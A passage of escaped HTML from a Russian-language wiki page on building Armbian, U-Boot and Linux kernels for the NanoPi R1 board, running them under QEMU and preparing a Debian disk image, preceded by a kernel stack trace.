[482827.380668] CPU: 0 PID: 0 Comm: swapper/0 Tainted: G         C        5.4.32-sunxi #trunk
[482827.380674] Hardware name: Allwinner sun8i Family
[482827.380717] [&amp;lt;c010da8d&amp;gt;] (unwind_backtrace) from [&amp;lt;c010a0ad&amp;gt;] (show_stack+0x11/0x14)
[482827.380745] [&amp;lt;c010a0ad&amp;gt;] (show_stack) from [&amp;lt;c0951e8f&amp;gt;] (dump_stack+0x6f/0x7c)
[482827.380775] [&amp;lt;c0951e8f&amp;gt;] (dump_stack) from [&amp;lt;c011b5ff&amp;gt;] (__warn+0xb7/0xb8)
[482827.380799] [&amp;lt;c011b5ff&amp;gt;] (__warn) from [&amp;lt;c011b8ab&amp;gt;] (warn_slowpath_fmt+0x5f/0x74)
[482827.380822] [&amp;lt;c011b8ab&amp;gt;] (warn_slowpath_fmt) from [&amp;lt;c085019b&amp;gt;] (dev_watchdog+0x213/0x214)
[482827.380848] [&amp;lt;c085019b&amp;gt;] (dev_watchdog) from [&amp;lt;c01720c3&amp;gt;] (call_timer_fn+0x27/0x128)
[482827.380869] [&amp;lt;c01720c3&amp;gt;] (call_timer_fn) from [&amp;lt;c0172c3d&amp;gt;] (run_timer_softirq+0x3f9/0x418)
[482827.380891] [&amp;lt;c0172c3d&amp;gt;] (run_timer_softirq) from [&amp;lt;c01022f7&amp;gt;] (__do_softirq+0xdf/0x288)
[482827.380912] [&amp;lt;c01022f7&amp;gt;] (__do_softirq) from [&amp;lt;c0120353&amp;gt;] (irq_exit+0x7b/0x90)
[482827.380938] [&amp;lt;c0120353&amp;gt;] (irq_exit) from [&amp;lt;c0160517&amp;gt;] (__handle_domain_irq+0x47/0x84)
[482827.380968] [&amp;lt;c0160517&amp;gt;] (__handle_domain_irq) from [&amp;lt;c05e3bed&amp;gt;] (gic_handle_irq+0x39/0x6c)
[482827.380992] [&amp;lt;c05e3bed&amp;gt;] (gic_handle_irq) from [&amp;lt;c0101ae5&amp;gt;] (__irq_svc+0x65/0x94)
[482827.381002] Exception stack(0xc0f01f20 to 0xc0f01f68)
[482827.381022] 1f20: 00000000 54e7da08 ef69ff34 c0116341 ffffe000 c0f04f68 c0f04fb0 00000001
[482827.381041] 1f40: c0f04f48 00000000 c0ec48f0 c0ff67f6 ffffffff c0f01f70 c010792f c0107930
[482827.381050] 1f60: 40070033 ffffffff
[482827.381074] [&amp;lt;c0101ae5&amp;gt;] (__irq_svc) from [&amp;lt;c0107930&amp;gt;] (arch_cpu_idle+0x28/0x2c)
[482827.381100] [&amp;lt;c0107930&amp;gt;] (arch_cpu_idle) from [&amp;lt;c013fa47&amp;gt;] (do_idle+0x15b/0x1cc)
[482827.381121] [&amp;lt;c013fa47&amp;gt;] (do_idle) from [&amp;lt;c013fcb1&amp;gt;] (cpu_startup_entry+0x19/0x20)
[482827.381146] [&amp;lt;c013fcb1&amp;gt;] (cpu_startup_entry) from [&amp;lt;c0e00c6d&amp;gt;] (start_kernel+0x3fb/0x40c)
[482827.381158] ---[ end trace df317a78f05c9e9f ]---&lt;/pre&gt;

&lt;p&gt;
Ядро: Linux nanopi-r1 5.4.32-sunxi #trunk SMP Sat Apr 25 21:48:40 UTC 2020 armv7l armv7l armv7l GNU/Linux
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;4446-7565&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;сборка_armbian&quot;&gt;Сборка Armbian&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;/home/mike/build/userpatches/config-example.conf

./compile.sh  BOARD=nanopi-r1 BRANCH=dev RELEASE=buster BUILD_MINIMAL=no BUILD_DESKTOP=no KERNEL_ONLY=no KERNEL_CONFIGURE=yes&lt;/pre&gt;

&lt;p&gt;
или так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;./compile.sh  BOARD=nanopi-r1 BRANCH=current RELEASE=buster BUILD_MINIMAL=no BUILD_DESKTOP=no KERNEL_ONLY=no KERNEL_CONFIGURE=no&lt;/pre&gt;

&lt;p&gt;
На &lt;strong&gt;NanoPi R1&lt;/strong&gt; у меня работает вот так собранный &lt;strong&gt;Armbian&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo ./compile.sh  BOARD=nanopi-r1 BRANCH=current RELEASE=bionic BUILD_MINIMAL=no BUILD_DESKTOP=no KERNEL_ONLY=no KERNEL_CONFIGURE=no&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0431\u043e\u0440\u043a\u0430 Armbian&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0431\u043e\u0440\u043a\u0430_armbian&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;7566-8156&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit4&quot; id=&quot;cобрать_образ_armbian_с_какой-то_конкрентной_версией_ядра&quot;&gt;Cобрать образ armbian с какой-то конкрентной версией ядра&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Нужно добавить строку вида:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;KERNELBRANCH=&amp;#039;tag:v4.14.52&amp;#039;&lt;/pre&gt;

&lt;p&gt;
в файл &lt;strong&gt;build/userpatches/lib.config&lt;/strong&gt; &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo &amp;#039;KERNELBRANCH=&amp;quot;branch:orange-pi-5.7&amp;quot;&amp;#039; &amp;gt; ./build/userpatches/lib.config&lt;/pre&gt;

&lt;p&gt;
Подробнее тут - &lt;a href=&quot;https://forum.armbian.com/topic/10427-specific-kernel-build/&quot; class=&quot;urlextern&quot; title=&quot;https://forum.armbian.com/topic/10427-specific-kernel-build/&quot; rel=&quot;ugc nofollow&quot;&gt;https://forum.armbian.com/topic/10427-specific-kernel-build/&lt;/a&gt; &lt;br/&gt;

Чтобы выяснить - откуда берутся сорцы ядра и какие там есть бранчи или теги идем в файлик конфига нашего устройства, например, сюда &lt;strong&gt;./config/boards/nanopi-r1.conf&lt;/strong&gt;. &lt;br/&gt;

Там видим - &lt;strong&gt;BOARDFAMILY=“sun8i”&lt;/strong&gt; &lt;br/&gt;

Значит дальше идем сюда: &lt;strong&gt;./config/sources/families/sun8i.conf&lt;/strong&gt;. &lt;br/&gt;

Там видим: &lt;strong&gt;source “${BASH_SOURCE%/*}/include/sunxi_common.inc”&lt;/strong&gt; &lt;br/&gt;

И далее смотрим сюда: &lt;strong&gt;config/sources/families/include/sunxi_common.inc&lt;/strong&gt; и видим такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;case $BRANCH in
        legacy)

                KERNELSOURCE=&amp;quot;https://github.com/megous/linux&amp;quot;
                KERNELBRANCH=&amp;quot;branch:orange-pi-5.4&amp;quot;
                KERNELPATCHDIR=&amp;#039;sunxi-&amp;#039;$BRANCH

        ;;

        current)

                KERNELSOURCE=&amp;quot;https://github.com/megous/linux&amp;quot;
                KERNELBRANCH=&amp;quot;branch:orange-pi-5.8&amp;quot;
                KERNELPATCHDIR=&amp;#039;sunxi-&amp;#039;$BRANCH

        ;;

        dev)

                KERNELSOURCE=&amp;quot;https://github.com/megous/linux&amp;quot;
                KERNELBRANCH=&amp;quot;branch:orange-pi-5.9&amp;quot;
                KERNELPATCHDIR=&amp;#039;sunxi-&amp;#039;$BRANCH
                BOOTBRANCH=&amp;#039;tag:v2020.07&amp;#039;

        ;;
esac&lt;/pre&gt;

&lt;p&gt;
Тут видно откуда берутся исходники и какие бранчи скрываются за псевдонимами (legacy, current, dev).
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;C\u043e\u0431\u0440\u0430\u0442\u044c \u043e\u0431\u0440\u0430\u0437 armbian \u0441 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u043d\u0442\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439 \u044f\u0434\u0440\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;c\u043e\u0431\u0440\u0430\u0442\u044c_\u043e\u0431\u0440\u0430\u0437_armbian_\u0441_\u043a\u0430\u043a\u043e\u0439-\u0442\u043e_\u043a\u043e\u043d\u043a\u0440\u0435\u043d\u0442\u043d\u043e\u0439_\u0432\u0435\u0440\u0441\u0438\u0435\u0439_\u044f\u0434\u0440\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;8157-9992&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;сборка_ядра_и_u-boot_для_nano_pi_r1_allwinner_h3&quot;&gt;Сборка ядра и u-boot для Nano Pi R1 (Allwinner H3)&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;http://wiki.friendlyarm.com/wiki/index.php/Building_U-boot_and_Linux_for_H5/H3/H2%2B&quot; class=&quot;urlextern&quot; title=&quot;http://wiki.friendlyarm.com/wiki/index.php/Building_U-boot_and_Linux_for_H5/H3/H2%2B&quot; rel=&quot;ugc nofollow&quot;&gt;http://wiki.friendlyarm.com/wiki/index.php/Building_U-boot_and_Linux_for_H5/H3/H2%2B&lt;/a&gt; &lt;br/&gt;

Ставим софт:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apt-get install git swig python-dev python3-dev build-essential bc bison flex u-boot-tools screen gcc-arm-linux-gnueabi libncurses-dev&lt;/pre&gt;

&lt;p&gt;
Распаковываем тулчейн (его можно найти &lt;a href=&quot;https://drive.google.com/drive/folders/1pr5qG4GHf20hv4OncTrgULM0H-haJIjW&quot; class=&quot;urlextern&quot; title=&quot;https://drive.google.com/drive/folders/1pr5qG4GHf20hv4OncTrgULM0H-haJIjW&quot; rel=&quot;ugc nofollow&quot;&gt;тут&lt;/a&gt;):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;tar xf arm-cortexa9-linux-gnueabihf-4.9.3-20160512.tar.xz -C /opt/FriendlyARM/toolchain/
export PATH=/opt/FriendlyARM/toolchain/4.9.3/bin:$PATH
export GCC_COLORS=auto
. ~/.bashrc
arm-linux-gcc -v&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0431\u043e\u0440\u043a\u0430 \u044f\u0434\u0440\u0430 \u0438 u-boot \u0434\u043b\u044f Nano Pi R1 (Allwinner H3)&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0431\u043e\u0440\u043a\u0430_\u044f\u0434\u0440\u0430_\u0438_u-boot_\u0434\u043b\u044f_nano_pi_r1_allwinner_h3&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;9993-10685&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit6&quot; id=&quot;собираем_u-boot&quot;&gt;Собираем U-Boot&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;cd ~
git clone https://github.com/friendlyarm/u-boot.git -b sunxi-v2017.x --depth 1
cd u-boot/
make nanopi_h3_defconfig ARCH=arm CROSS_COMPILE=arm-linux-
make ARCH=arm CROSS_COMPILE=arm-linux-&lt;/pre&gt;

&lt;p&gt;
в результате получится файлик &lt;strong&gt;u-boot-sunxi-with-spl.bin&lt;/strong&gt;, который можно записать на SD-карточку:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dd if=u-boot-sunxi-with-spl.bin of=/dev/sdX bs=1024 seek=8&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0431\u0438\u0440\u0430\u0435\u043c U-Boot&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0431\u0438\u0440\u0430\u0435\u043c_u-boot&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;10686-11142&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit7&quot; id=&quot;собираем_ядро&quot;&gt;Собираем ядро&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Вариантов пара - собрать то что предлагает &lt;strong&gt;FriendlyARM&lt;/strong&gt;, либо &lt;strong&gt;mainline kernel&lt;/strong&gt;. &lt;br/&gt;

В конце концов, я пришел к тому, что собрать придется оба ядра! &lt;br/&gt;

Mainline - новое и хорошее, при его работе (в по крайней мере под qemu) не возникает некоторых ошибок типа:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;thermal thermal_zone0: failed to read out thermal zone (-16)&lt;/pre&gt;

&lt;p&gt;
Зато с ядром от &lt;strong&gt;FriendlyARM&lt;/strong&gt; собираются родные для этих устройств файлы &lt;strong&gt;DTB&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0431\u0438\u0440\u0430\u0435\u043c \u044f\u0434\u0440\u043e&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0431\u0438\u0440\u0430\u0435\u043c_\u044f\u0434\u0440\u043e&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;11143-11798&amp;quot;} --&gt;
&lt;h4 class=&quot;sectionedit8&quot; id=&quot;ядро_от_friendlyarm_-_414&quot;&gt;Ядро от FriendlyARM - 4.14&lt;/h4&gt;
&lt;div class=&quot;level4&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;cd ~
git clone https://github.com/friendlyarm/linux.git -b sunxi-4.14.y --depth 1
cd linux
touch .scmversion
make sunxi_defconfig ARCH=arm CROSS_COMPILE=arm-linux-
make zImage dtbs ARCH=arm CROSS_COMPILE=arm-linux-&lt;/pre&gt;

&lt;p&gt;
Теперь образы ядра и файлики dtb можно скопировать на загрузочный разле флехи:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cp arch/arm/boot/zImage /media/SD/boot/
cp arch/arm/boot/dts/sun8i-*-nanopi-*.dtb /media/SD/boot/&lt;/pre&gt;

&lt;p&gt;
Теперь соберем модули:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd ~/linux
make modules ARCH=arm CROSS_COMPILE=arm-linux-&lt;/pre&gt;

&lt;p&gt;
и скопируем их на флеху. Считаем, что корневой раздел системы смонтирован в /media/SD/rootfs/:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd ~/linux
make modules_install INSTALL_MOD_PATH=/media/SD/rootfs/ ARCH=arm CROSS_COMPILE=arm-linux-&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u042f\u0434\u0440\u043e \u043e\u0442 FriendlyARM - 4.14&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u044f\u0434\u0440\u043e_\u043e\u0442_friendlyarm_-_414&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;11799-12677&amp;quot;} --&gt;
&lt;h4 class=&quot;sectionedit9&quot; id=&quot;ядро_mainline&quot;&gt;Ядро Mainline&lt;/h4&gt;
&lt;div class=&quot;level4&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;git clone https://github.com/torvalds/linux.git -b master --depth 1 mainline_linux
cd mainline_linux&lt;/pre&gt;

&lt;p&gt;
Вот &lt;a href=&quot;https://www.qemu.org/docs/master/system/arm/orangepi.html#running-mainline-linux&quot; class=&quot;urlextern&quot; title=&quot;https://www.qemu.org/docs/master/system/arm/orangepi.html#running-mainline-linux&quot; rel=&quot;ugc nofollow&quot;&gt;тут написано&lt;/a&gt;, что под &lt;strong&gt;orangepi&lt;/strong&gt; ядро надо собирать с помощью &lt;strong&gt;arm-linux-gnueabi-&lt;/strong&gt;, однако у &lt;strong&gt;FriendlyARM&lt;/strong&gt; написано, что с помощью &lt;strong&gt;arm-linux-&lt;/strong&gt; из их тулчейна. Я буду собирать с  &lt;strong&gt;arm-linux-&lt;/strong&gt;. Хотя, в чем именно разница - я не знаю, по крайней мере пока. &lt;br/&gt;

Для начала - скопируем файлик &lt;strong&gt;sunxi_defconfig&lt;/strong&gt;, который идет с ядром от &lt;strong&gt;FriendlyARM&lt;/strong&gt;, в &lt;strong&gt;mainline&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cp ./linux/arch/arm/configs/sunxi_defconfig ./mainline_linux/arch/arm/configs/sunxi_defconfig&lt;/pre&gt;

&lt;p&gt;
Также, в &lt;strong&gt;mainline&lt;/strong&gt; может не быть исходников некоторых модулей. Скопируем их:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cp ./linux/drivers/net/ethernet/allwinner/* ./mainline_linux/drivers/net/ethernet/allwinner/&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;export PATH=/opt/FriendlyARM/toolchain/4.9.3/bin:$PATH
export GCC_COLORS=auto
ARCH=arm CROSS_COMPILE=arm-linux- make mrproper
make sunxi_defconfig ARCH=arm CROSS_COMPILE=arm-linux-
make ARCH=arm CROSS_COMPILE=arm-linux-&lt;/pre&gt;

&lt;p&gt;
И соберем модули:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;make modules ARCH=arm CROSS_COMPILE=arm-linux-&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u042f\u0434\u0440\u043e Mainline&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u044f\u0434\u0440\u043e_mainline&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:9,&amp;quot;range&amp;quot;:&amp;quot;12678-14111&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit10&quot; id=&quot;запуск_в_эмуляторе&quot;&gt;Запуск в эмуляторе&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Вот тут страничка &lt;strong&gt;qemu-system-arm&lt;/strong&gt;, посвященная эмуляции &lt;strong&gt;OrangePi&lt;/strong&gt; (который тоже на &lt;strong&gt;Allwinner H3&lt;/strong&gt;): &lt;a href=&quot;https://www.qemu.org/docs/master/system/arm/orangepi.html&quot; class=&quot;urlextern&quot; title=&quot;https://www.qemu.org/docs/master/system/arm/orangepi.html&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.qemu.org/docs/master/system/arm/orangepi.html&lt;/a&gt; &lt;br/&gt;

Судя по &lt;a href=&quot;https://lore.kernel.org/qemu-devel/6d774864-2bea-ecd6-0b14-a28d0756bfbc@adacore.com/&quot; class=&quot;urlextern&quot; title=&quot;https://lore.kernel.org/qemu-devel/6d774864-2bea-ecd6-0b14-a28d0756bfbc@adacore.com/&quot; rel=&quot;ugc nofollow&quot;&gt;обсуждениям патчей&lt;/a&gt; поддержка эмуляции машин на &lt;strong&gt;Allwinner H3&lt;/strong&gt; появилась совсем недавно - в конце 2019 года. &lt;br/&gt;

Вот тут описан запуск собранного u-boot и ядра: &lt;br/&gt;

&lt;a href=&quot;https://dev.to/rulyrudel/how-to-execute-u-boot-on-qemu-system-arm-2b22&quot; class=&quot;urlextern&quot; title=&quot;https://dev.to/rulyrudel/how-to-execute-u-boot-on-qemu-system-arm-2b22&quot; rel=&quot;ugc nofollow&quot;&gt;https://dev.to/rulyrudel/how-to-execute-u-boot-on-qemu-system-arm-2b22&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://pandysong.github.io/blog/post/run_u-boot_in_qemu/&quot; class=&quot;urlextern&quot; title=&quot;https://pandysong.github.io/blog/post/run_u-boot_in_qemu/&quot; rel=&quot;ugc nofollow&quot;&gt;https://pandysong.github.io/blog/post/run_u-boot_in_qemu/&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u043f\u0443\u0441\u043a \u0432 \u044d\u043c\u0443\u043b\u044f\u0442\u043e\u0440\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u043f\u0443\u0441\u043a_\u0432_\u044d\u043c\u0443\u043b\u044f\u0442\u043e\u0440\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:8,&amp;quot;secid&amp;quot;:10,&amp;quot;range&amp;quot;:&amp;quot;14112-14885&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit11&quot; id=&quot;собираем_последний_qemu&quot;&gt;Собираем последний qemu&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://www.qemu.org/download/#source&quot; class=&quot;urlextern&quot; title=&quot;https://www.qemu.org/download/#source&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.qemu.org/download/#source&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd ~
apt-get install git build-essential zlib1g-dev pkg-config libglib2.0-dev binutils-dev libboost-all-dev autoconf libtool libssl-dev libpixman-1-dev libpython-dev python-pip python-capstone virtualenv
git clone https://git.qemu.org/git/qemu.git
cd qemu
git submodule init
git submodule update --recursive
./configure
make&lt;/pre&gt;

&lt;p&gt;
Теперь можно посмотреть список машин, который поддерживается и попробывать запустить собранное ядро или u-boot:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd ~
./qemu/arm-softmmu/qemu-system-arm -machine help | grep orangepi
...
./qemu/arm-softmmu/qemu-system-arm -M orangepi-pc -nic user -nographic \
    kernel ./linux/arch/arm/boot/zImage \
    -append &amp;#039;console=ttyS0,115200&amp;#039; \
    -dtb ./linux/arch/arm/boot/dts/sun8i-h3-nanopi-r1.dtb&lt;/pre&gt;

&lt;p&gt;
Так как никакой корневой файловой системы у нас нет, то всё закончится так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;.....
[    4.075519] ---[ end Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0)&lt;/pre&gt;

&lt;p&gt;
Но ядро запустилось!
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0431\u0438\u0440\u0430\u0435\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 qemu&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0431\u0438\u0440\u0430\u0435\u043c_\u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439_qemu&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:8,&amp;quot;secid&amp;quot;:11,&amp;quot;range&amp;quot;:&amp;quot;14886-16117&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit12&quot; id=&quot;сборка_образа_минимальной_системы_debian&quot;&gt;Сборка образа минимальной системы debian&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://wiki.debian.org/EmDebian/CrossDebootstrap#Cross-installing_Debian_using_debootstrap.2Fmultistrap&quot; class=&quot;urlextern&quot; title=&quot;https://wiki.debian.org/EmDebian/CrossDebootstrap#Cross-installing_Debian_using_debootstrap.2Fmultistrap&quot; rel=&quot;ugc nofollow&quot;&gt;https://wiki.debian.org/EmDebian/CrossDebootstrap#Cross-installing_Debian_using_debootstrap.2Fmultistrap&lt;/a&gt; &lt;br/&gt;

&lt;br/&gt;

&lt;a href=&quot;https://wiki.debian.org/Multistrap&quot; class=&quot;urlextern&quot; title=&quot;https://wiki.debian.org/Multistrap&quot; rel=&quot;ugc nofollow&quot;&gt;https://wiki.debian.org/Multistrap&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://manpages.debian.org/jessie/multistrap/multistrap.1&quot; class=&quot;urlextern&quot; title=&quot;https://manpages.debian.org/jessie/multistrap/multistrap.1&quot; rel=&quot;ugc nofollow&quot;&gt;https://manpages.debian.org/jessie/multistrap/multistrap.1&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://gitlab.mister-muffin.de/josch/multistrap/commit/b54b65b9f73bdb97d9c2486f0eb021b2b1a2d30e&quot; class=&quot;urlextern&quot; title=&quot;https://gitlab.mister-muffin.de/josch/multistrap/commit/b54b65b9f73bdb97d9c2486f0eb021b2b1a2d30e&quot; rel=&quot;ugc nofollow&quot;&gt;https://gitlab.mister-muffin.de/josch/multistrap/commit/b54b65b9f73bdb97d9c2486f0eb021b2b1a2d30e&lt;/a&gt;  &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install multistrap kpartx qemu qemu-user-static binfmt-support dpkg-cross &lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0431\u043e\u0440\u043a\u0430 \u043e\u0431\u0440\u0430\u0437\u0430 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b debian&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0431\u043e\u0440\u043a\u0430_\u043e\u0431\u0440\u0430\u0437\u0430_\u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439_\u0441\u0438\u0441\u0442\u0435\u043c\u044b_debian&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:11,&amp;quot;secid&amp;quot;:12,&amp;quot;range&amp;quot;:&amp;quot;16118-16605&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit13&quot; id=&quot;создаем_образ_флехи&quot;&gt;Создаем образ флехи&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt; cd ~
fallocate -l 4G debian-stable.img
disk=&amp;#039;debian-stable.img&amp;#039;
sgdisk --zap-all $disk
sgdisk --mbrtogpt --clear $disk
sgdisk --new=1:2048:+64Mib $disk
sgdisk --typecode=1:8300 $disk
sgdisk -N0 $disk
sgdisk --typecode=2:8300 $disk&lt;/pre&gt;

&lt;p&gt;
Создадим loop-устройства и обнаружим на них партиции:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo kpartx -v -a ./debian-stable.img&lt;/pre&gt;

&lt;p&gt;
В выводе будет что-то такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;add map loop4p1 (253:2): 0 524289 linear 7:4 2048
add map loop4p2 (253:3): 0 7860191 linear 7:4 528384&lt;/pre&gt;

&lt;p&gt;
Отформатируем эти партиции, создадим точки монтирования и смонтируем их! &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mkfs.ext4 /dev/mapper/loop4p2
sudo mkfs.ext2 /dev/mapper/loop4p1
mkdir debian-stable
sudo mount  /dev/mapper/loop4p2 ./debian-stable
sudo mkdir ./debian-stable/boot
sudo mount  /dev/mapper/loop4p1 ./debian-stable/boot&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u043e\u0431\u0440\u0430\u0437 \u0444\u043b\u0435\u0445\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0437\u0434\u0430\u0435\u043c_\u043e\u0431\u0440\u0430\u0437_\u0444\u043b\u0435\u0445\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:11,&amp;quot;secid&amp;quot;:13,&amp;quot;range&amp;quot;:&amp;quot;16606-17568&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit14&quot; id=&quot;заливка_минимальной_системы_debian&quot;&gt;Заливка минимальной системы debian&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
